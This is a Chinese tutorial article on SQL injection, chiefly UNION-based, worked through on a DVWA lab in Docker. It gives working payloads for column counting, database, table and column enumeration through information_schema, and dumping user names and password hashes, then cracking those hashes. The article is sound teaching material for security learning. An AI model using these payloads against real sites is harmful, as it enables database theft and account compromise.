首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

SQL 注入漏洞详解 - Union 注入

编程知识
2024年07月23日 10:36

1)漏洞简介

SQL 注入简介

SQL 注入 即是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询从而进一步得到相应的数据信息。

SQL 注入概念

**SQL 注入漏洞 **主要形成的原因是在数据交互中,站点针对前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以 通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

SQL 注入攻击流程

第一步:注入点探测
自动方式:使用 Web 漏洞扫描工具,自动进行注入点发现
手动方式:手工构造 sql inject 测试语句进行注入点发现

第二步:信息获取
通过注入点取期望得到的数据。

  1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
  2. 数据库信息:数据库名,数据表名,表字段名,字段内容(加密内容破解)

第三步:获取权限
获取操作系统权限:通过数据库执行 Shell,上传木马

2)漏洞原理

可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还存在与 API、隐藏链接、http 头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。
需要记住的 information_schema 数据库的 SCHEMATA、TABLES、COLUMNS。 SCHEMATA 表中存放所有数据库的名,字段名为 SCHEMA_NAME。 关键函数 database() 当前数据库名、version() 当前 mysql 版本、user() 当前 mysql 用户。

3)漏洞危害

属于危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传 Webshell,执行命令。

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。( 输入框,URL,抓包 )
  2. 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

**SQL 注入漏洞 **发生在前端,属于前端开发设计漏洞。该漏洞与后端数据库执行无关。

SQL 注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。

通常在设计存在缺陷的程序中,对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。

环境准备

docker pull sagikazarmark/dvwa
docker run -d --name dvwa -p 8081:80 -p 33060:3306 sagikazarmark/dvwa

image.png

docker exec -it dvwa /bin/bash

image.png

show databases;
  • information_schema:可用来访问数据库的元数据,相似于信息数据库。其中保存着 关于MySQL 服务器 所维护的所有其他数据库的信息(元数据)。如数据库名,数据库的表,表栏的数据类型与访问权限等。

4)SQL 注入分类

4.1)数字型

当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

测试步骤:
1. 加单引号, URL:www.text.com/text.php?id=3'
对应的 sql: select * from table where id=3' 这时 sql 语句出错, 程序无法正常从数据库中查询出数据, 就会抛出异常; 此时可以判断大概率存在注入, 因为只有服务器将这个单引号一起当作 SQL 语句执行时才会报错.

2. 加 and 1=1, URL: www.text.com/text.php?id=3 and 1=1
对应的 sql: select * from table where id=3 and 1=1 语句执行正常, 与原始页面无任何差异;

3. 加 and 1=2, URL: www.text.com/text.php?id=3 and 1=2
对应的 sql: select * from table where id=3 and 1=2 语句可以正常执行, 但是无法查询出结果, 所以返回数据与原始网页存在差异.
  1. 单引号测试
SELECT first_name, last_name FROM users WHERE user_id = '1'';

image.png
image.png

  1. **加 **and 1=1 测试

如下查询到数据的状况:存在两种情况。

  1. 有引号:网站把输入的 1 and 1=1 **当成字符串 **传递到后端,因隐式转换的存在,所以查询出结果。
  2. 无引号:网站识别了输入的 and 1=1做了逻辑判断。所以能查询出结果。存在 SQL 注入。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';

image.png
image.png

  1. **加 **and 1=2 测试

成功返回结果,说明输入的内容是被 当成了字符串执行(隐式转换)并未做逻辑运算。
如果做了逻辑运算,则存在 SQL 注入漏洞。

SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';

image.png
image.png

  1. 未做隐式转换的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;

image.png

如果满足以上三点,则可以判断该 URL 存在数字型注入。


4.2)字符型

当输入的参数为字符串时,称为字符型。
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
数字型语句:select * from table where id =3;
字符型如下:select * from table where name='admin';

因此,在构造 Payload 时 通过闭合单引号 可以成功执行语句:
实现了绕过被单引号包含的结局

尝试输入: 1' and 1=1 #
# 基于这种方法: 实现了绕过被单引号包含的结局
# 实现了在 SQL 语句层面, 输入的内容是两个正常的表达式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';

image.png
image.png
image.png
image.png

可以判断为:字符型注入,对参数 id 没有做任何过滤,并且用单引号闭合。

因为条件 1=1 永远为真( 恒为真 )
所以 where 查询不再限制只返回特定 user_id 的记录,**而是返回整个表的内容。 **

# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;

# 闭合单引号
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';

image.png
image.png
image.png

4.3)Union 注入 ( 联合查询注入 )

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用 UNION 或 UNION ALL。
注意:UNION 操作符选取不重复的值。如果允许重复的值,请使用 UNION ALL

select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;

image.png

select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;

image.png

推荐使用 UNION ALL,因为 UNION 会自动过滤掉字段内容重复的数据,这可能导致我们错过想查找的相关数据内容。

前提条件:页面存在显示位

MySQL 5.0 以上版本,存在一个自带的数据库名为:information_schema(重点)

information_schema 数据库中 **有三个表 **非常重要

  1. schemata:表里包含所有数据库的名字
  2. tables:表里包含所有数据库的所有表名,默认字段为 table_name
  3. columns:表里包含所有数据库的所有表的所有字段名

三个列 非常重要

  • SCHEMA_NAME:数据库名
  • TABLE_NAME:表名
  • COLUMN_NAME:字段名
# 爆库名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;

# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';

# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';

image.png

联合注入的过程:

  1. 判断注入点
  2. 判断是整型还是字符型
  3. 判断列数、判断显示位
  4. 获取所有数据库名
  5. 获取数据库所有表名、字段名、字段中的数据重

判断 列数、判断 显示位
通过 order by**得知输出的结果有几列
image.png

  1. 通过 order by判断列数
# 正常
1' order by 2#

image.png
image.png

  1. 通过 union all判断显示位

判断 select 查询语句的 字段个数 信息,用于与后边联合查询数量做匹配

# 确定显示位
1' union all select 1,2#

image.png
image.png

1' union all select 1,2,3#

image.png

  1. 爆出 **数据库名 **和 版本信息

select database() 获得当前数据库名称

# 爆出数据库名和版本信息
1' union all select database(),version()#

image.png
image.png

基于 group_concat 函数是一个非常实用的聚合函数**
用于在分组查询中将同一组内的多个值合并为一个字符串

select group_concat(first_name) from users;

image.png

  1. 爆出 dvwa 数据库中的 数据表
# 爆出 dvwa 数据库中有 guestbook,users 两个表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#

# 加 group_concat() 函数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#

image.png
image.png
image.png
image.png

  1. 爆出 users 表字段
# 得到 users 表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

# 加 group_concat() 函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

image.png
image.png

  1. 最终基于 我们得到的 数据库名称数据库表名数据库字段名

通过 联合查询 过滤到表中的 **用户名 **和 密码信息 ( 数据信息 )

# 得到用户名和密码
1' union select user,password from users#

image.png
image.png

MD5 解密站点( 撞库逻辑原理 )
image.png
image.png

大功告成

From:https://www.cnblogs.com/wuhanjiayou/p/18317978/Union-SQL
本文地址: http://shuzixingkong.net/article/321
0评论
提交 加载更多评论
其他文章 反射内存卡驱动的安装
反射内存卡驱动的安装通常遵循以下一般步骤,但具体过程可能因产品型号和操作系统的不同而有所差异: 1.准备工作 - 确认您的操作系统版本和体系结构(32 位或 64 位)。 - 从反射内存卡制造商的官方网站下载适用于您的操作系统的最新驱动程序。 2. 解压驱动文件 - 将下载的驱动压缩包解压到一个您容
反射内存卡驱动的安装 反射内存卡驱动的安装
C# 开发技巧 轻松监控方法执行耗时
前言 MethodTimer.Fody 是一个功能强大的库,可以用于测量 .NET 应用程序中的方法的执行时间。允许你在不修改代码的情况下,自动地测量和记录方法的执行时间。 这个工具是基于.NET的 weaving 技术,通过修改IL(Intermediate Language,中间语言)代码来插入
C# 开发技巧 轻松监控方法执行耗时 C# 开发技巧 轻松监控方法执行耗时 C# 开发技巧 轻松监控方法执行耗时
BTC 地址
比特币地址(Bitcoin Address)是用于接收和发送比特币的唯一标识符,类似于传统金融系统中的银行账号。一个比特币地址由一串字母和数字组成,通常以1、3或bc1开头,具体长度为26至35个字符。以下是比特币地址的主要类型及其特点: P2PKH地址(Pay-to-PubKey-Hash): 以
BTC 地址
兼容sentry协议的轻量级监控,glitchtip
前言 上一篇文章说了重启 sentry 的事 因为过程太折腾了,一度想过放弃 sentry 换成其他比较轻量级的开源监控系统 这不就给我找到了另外俩个 https://glitchtip.com/ https://www.highlight.io/ 这次就来试试这个 glitchtip 用了之后才发
深入理解Spring Boot:Bean管理、原理解析与Maven高级应用
深入理解Spring Boot:Bean管理、原理解析与Maven高级应用 前言 大家好,今天我们来聊聊Spring Boot的核心内容,包括Bean管理、Spring Boot的工作原理以及Maven的高级应用。这些内容不仅是Spring Boot的基础,也是我们在实际项目中经常会遇到的问题。希望
OLOR:已开源,向预训练权值对齐的强正则化方法 | AAAI 2024
随着预训练视觉模型的兴起,目前流行的视觉微调方法是完全微调。由于微调只专注于拟合下游训练集,因此存在知识遗忘的问题。论文提出了基于权值回滚的微调方法OLOR(One step Learning, One step Review),把权值回滚项合并到优化器的权值更新项中。这保证了上下游模型权值范围的一
OLOR:已开源,向预训练权值对齐的强正则化方法 | AAAI 2024 OLOR:已开源,向预训练权值对齐的强正则化方法 | AAAI 2024 OLOR:已开源,向预训练权值对齐的强正则化方法 | AAAI 2024
App如何利用推送消息有效实现拉新促活?
对于大多数App来说,如何快速建立与用户的联系、提高用户活跃度、提升用户转化率,是产品运营过程中十分关心的问题,在常见的运营手段中,Push推送消息以其高性价比成为首选策略。但在实际运营过程中,推送消息的打开率和转化率远远达不到预期,App日活难以提升。那么如何才能有效提高打开和转化率,快速实现Ap
App如何利用推送消息有效实现拉新促活? App如何利用推送消息有效实现拉新促活? App如何利用推送消息有效实现拉新促活?
iOS开发基础136-防暴力点击
要在Objective-C中创建一个高度可复用的工具类,以防止按钮的暴力点击,并且使用切面编程(AOP)的方式,我们可以考虑使用Aspects这个库来实现方法的拦截。以下是具体的实现步骤: 第一步:引入Aspects库 首先,需要将Aspects集成到项目中。Aspects是一个轻量级的AOP框架,